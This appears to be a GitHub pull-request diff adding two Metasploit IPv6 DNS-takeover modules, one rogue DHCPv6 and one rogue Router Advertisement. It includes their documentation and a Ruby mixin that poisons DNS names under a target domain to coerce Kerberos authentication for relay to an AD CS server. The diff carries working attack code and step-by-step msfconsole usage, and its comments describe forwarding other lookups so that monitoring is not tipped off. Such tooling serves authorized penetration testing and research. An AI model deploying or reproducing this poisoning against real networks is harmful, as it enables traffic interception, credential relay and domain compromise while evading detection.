Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
97 changes: 97 additions & 0 deletions documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
## Vulnerable Application

This module runs a rogue DHCPv6 server that hands the attacker to IPv6 clients
as their DNS server (the classic mitm6 primitive), together with a paired DNS
server that poisons names under a target domain to point at the attacker while
transparently forwarding every other lookup so the victim stays functional.

Windows prefers IPv6 over IPv4 and, by default, sends periodic DHCPv6 solicits.
By answering those solicits and advertising the attacker as the client's DNS
server, the module intercepts the victim's name resolution even on an IPv4-only
network. Once the victim resolves a target service through the attacker it can
be coerced into authenticating to the attacker.

Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`,
this is the native coercion half of the Kerberos relay via DNS technique
(CVE-2026-20929), removing the dependency on external tooling such as mitm6. Set
`RELAY_CNAME` to steer the victim onto a name whose SPN the relay module will
present to the CA.

This module requires root/administrator privileges to bind the DHCPv6 port
(UDP/547) and join the DHCPv6 multicast group, and Layer 2 adjacency to the
victim.

## Verification Steps

1. Start `msfconsole` as root
1. Do: `use auxiliary/spoof/dhcp/dhcpv6_dns_takeover`
1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept
1. Set `SPOOF_IP6` to the attacker's IPv6 address
1. Do: `run`
1. Observe DHCPv6 solicits being answered and in-scope DNS queries being poisoned

## Options

### TARGET_DOMAIN

The DNS domain to intercept. Names at or under this domain are poisoned; every
other lookup is transparently forwarded. Required.

### TARGET_HOSTS

An optional space or semicolon separated list of specific FQDNs to poison. When
set, only these exact names are poisoned and all other names (including other
names under `TARGET_DOMAIN`) are forwarded.

### SPOOF_IP6

The attacker's IPv6 address. It is handed to clients as their DNS server and is
returned as the `AAAA` answer for poisoned names. Required.

### RELAY_CNAME

If set, poisoned names are answered with a `CNAME` to this name instead of a
direct address. This is the DNS-CNAME trick used for Kerberos relay: the victim
follows the CNAME to a name whose SPN the relay module presents to the target,
while the Kerberos ticket is still issued for the original service.

### LEASE_IP6

An optional IPv6 address to lease to clients that make a stateful (IA_NA)
request. Not required for DNS takeover.

### DHCPV6_INTERFACE

The network interface to bind the DHCPv6 server and join the multicast group on.
Defaults to the primary interface.

## Scenarios

### mitm6-style DNS takeover feeding a Kerberos ESC8 relay

Terminal 1 - start the coercion:

```
msf > use auxiliary/spoof/dhcp/dhcpv6_dns_takeover
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set TARGET_DOMAIN ad.example.com
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set SPOOF_IP6 dead:beef::5
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set RELAY_CNAME attacker.ad.example.com
msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run
[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com
[*] DHCPv6 server started, advertising dead:beef::5 as the DNS server
[*] DHCPv6 SOLICIT from fe80::... answered with DNS dead:beef::5
[+] Poisoned ca.ad.example.com (AAAA) for fe80::... -> CNAME attacker.ad.example.com
```

Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is
relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`).

## Notes

* Requires root/administrator and Layer 2 adjacency; DHCPv6 messages are not
routable.
* This is the DHCPv6 coercion primitive. `auxiliary/spoof/ipv6/ipv6_ra_dns_takeover`
is the Router Advertisement (RDNSS) equivalent; use whichever the target
network responds to.
* Out-of-scope lookups are forwarded unchanged, so the victim keeps working and
monitoring is less likely to notice broken name resolution.
117 changes: 117 additions & 0 deletions documentation/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
## Vulnerable Application

This module runs a rogue IPv6 router that advertises the attacker as the
recursive DNS server (RDNSS, RFC 8106) inside ICMPv6 Router Advertisements, and
a paired DNS server that poisons names under a target domain to point at the
attacker while transparently forwarding every other lookup so the victim stays
functional.

It is the Router Advertisement equivalent of the mitm6 DHCPv6 DNS takeover
(`auxiliary/spoof/dhcp/dhcpv6_dns_takeover`): instead of answering DHCPv6
solicits, it multicasts Router Advertisements carrying an RDNSS option, which
modern Windows and other RFC 8106 clients adopt as their IPv6 resolver. It also
listens for Router Solicitations and replies with an immediate unicast Router
Advertisement, so a client is coerced the moment it boots or refreshes rather
than waiting for the next unsolicited advertisement.

By default the advertised router lifetime is 0, so the attacker does not become
the client's default gateway; only DNS is taken over, which keeps routing
untouched and stays closer to mitm6's behaviour. Set `BECOME_ROUTER` to also act
as a router.

Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`,
this is a native coercion half of the Kerberos relay via DNS technique
(CVE-2026-20929). This module requires root/administrator privileges to inject
raw ICMPv6 packets and Layer 2 adjacency to the victim.

## Verification Steps

1. Start `msfconsole` as root
1. Do: `use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover`
1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept
1. Set `SPOOF_IP6` to the attacker's IPv6 address
1. Set `INTERFACE` to the interface on the victim's segment
1. Do: `run`
1. Observe Router Advertisements being sent and in-scope DNS queries being poisoned

## Options

### TARGET_DOMAIN

The DNS domain to intercept. Names at or under this domain are poisoned; every
other lookup is forwarded. Required.

### TARGET_HOSTS

An optional space or semicolon separated list of specific FQDNs to poison. When
set, only these exact names are poisoned.

### SPOOF_IP6

The attacker's IPv6 address, advertised as the recursive DNS server (RDNSS) and
returned as the `AAAA` answer for poisoned names. Required.

### RELAY_CNAME

If set, poisoned names are answered with a `CNAME` to this name instead of a
direct address (the DNS-CNAME Kerberos relay trick), steering the victim onto a
name whose SPN the relay module presents to the target.

### RA_INTERVAL

Seconds between unsolicited Router Advertisements. Defaults to 30.

### RESPOND_TO_SOLICITS

Also reply to Router Solicitations with an immediate unicast Router
Advertisement, so a client is coerced as soon as it boots or refreshes rather
than waiting for the next interval. Enabled by default.

### ADVERTISE_SEARCH_DOMAIN

Advertise `TARGET_DOMAIN` as a DNS search list (DNSSL) so the client appends it
when resolving short names, helping steer it onto poisoned FQDNs. Enabled by
default.

### BECOME_ROUTER

Also advertise as the default router (router lifetime > 0). Disabled by default
so only DNS is taken over and routing is left untouched.

### INTERFACE / SMAC / SHOST

The interface to send Router Advertisements on, and optional overrides for the
source MAC and link-local source address.

## Scenarios

### RDNSS DNS takeover feeding a Kerberos ESC8 relay

Terminal 1 - start the coercion:

```
msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set INTERFACE eth0
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run
[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com
[*] Advertising dead:beef::5 as the IPv6 DNS server via Router Advertisements every 30s
[*] Responding to Router Solicitations with an immediate unicast RA
[+] Answered Router Solicitation from aa:bb:cc:dd:ee:ff (fe80::5) -> RDNSS dead:beef::5
[+] Poisoned ca.ad.example.com (AAAA) for fe80::5 -> CNAME attacker.ad.example.com
```

Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is
relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`).

## Notes

* Requires root/administrator and Layer 2 adjacency; Router Advertisements are
not routable.
* This is the Router Advertisement (RDNSS) coercion primitive.
`auxiliary/spoof/dhcp/dhcpv6_dns_takeover` is the DHCPv6 equivalent; use
whichever the target network responds to.
* RDNSS in Router Advertisements is honoured by modern Windows (RFC 8106); older
clients may only accept DNS via DHCPv6, in which case use the DHCPv6 module.
119 changes: 119 additions & 0 deletions lib/msf/core/exploit/remote/dns/name_poisoner.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
# -*- coding: binary -*-

module Msf

###
#
# This mixin adds selective DNS name poisoning on top of Exploit::Remote::DNS::Server.
#
# A module that also includes DNS::Server can mix this in to answer lookups for
# names under a target scope with the attacker's address (or a CNAME), while
# transparently forwarding every out-of-scope query so the victim stays
# functional. It is the shared coercion behaviour behind the IPv6 DNS-takeover
# modules (rogue DHCPv6 and rogue Router Advertisement), paired with a Kerberos
# relay target such as ESC8 AD CS web enrollment (CVE-2026-20929).
#
###
module Exploit::Remote::DNS
module NamePoisoner

def initialize(info = {})
super

register_options(
[
# The victim is steered to query the attacker's IPv6 address (SPOOF_IP6),
# so the paired DNS server has to listen on IPv6. SocketServer defaults
# SRVHOST to 0.0.0.0, which binds IPv4 only and silently drops every IPv6
# query; default to :: (all IPv6 addresses) instead. This also keeps the
# A-record branch in poison_answers_for from handing out 0.0.0.0.
OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]),
OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]),
OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]),
OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]),
OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ])
], Exploit::Remote::DNS::NamePoisoner
)
end

# Poison lookups that fall under the target scope; forward everything else so
# the victim keeps working (and so we do not tip off monitoring by breaking
# unrelated name resolution).
def on_dispatch_request(cli, data)
return if data.strip.empty?

req = Rex::Proto::DNS::Packet.encode_drb(data)
peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)

poisoned = false
req.question.each do |question|
answers = poison_answers_for(question)
next if answers.empty?

answers.each { |rr| req.add_answer(rr) }
poisoned = true
print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}")
end

unless poisoned
# Not in scope: fall back to the default cache/forward behaviour.
return service.default_dispatch_request(cli, data)
end

req.header.qr = true
req.header.ra = true
service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode)
end

# Human-readable description of what poisoned names resolve to.
def poison_description
datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6']
end

# Fail the module unless +address+ is a valid IPv6 address.
def validate_ipv6!(address, name)
return if Rex::Socket.is_ipv6?(address.to_s)

fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address")
end

private

def poison_answers_for(question)
name = question.qname.to_s.chomp('.').downcase
return [] unless in_scope?(name)

qtype = question.qtype.to_s
if datastore['RELAY_CNAME'].present?
# Steer the victim onto a name whose SPN the attacker will relay for.
return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")]
end

case qtype
when 'AAAA'
[Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])]
when 'A'
# Only answer A records if an IPv4 spoof address is meaningful; otherwise
# returning nothing lets the client prefer the AAAA answer we control.
Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : []
else
[]
end
end

def in_scope?(name)
if datastore['TARGET_HOSTS'].present?
target_hosts.include?(name)
else
domain = datastore['TARGET_DOMAIN'].downcase.chomp('.')
name == domain || name.end_with?(".#{domain}")
end
end

def target_hosts
@target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?)
end

end
end
end
Loading
Loading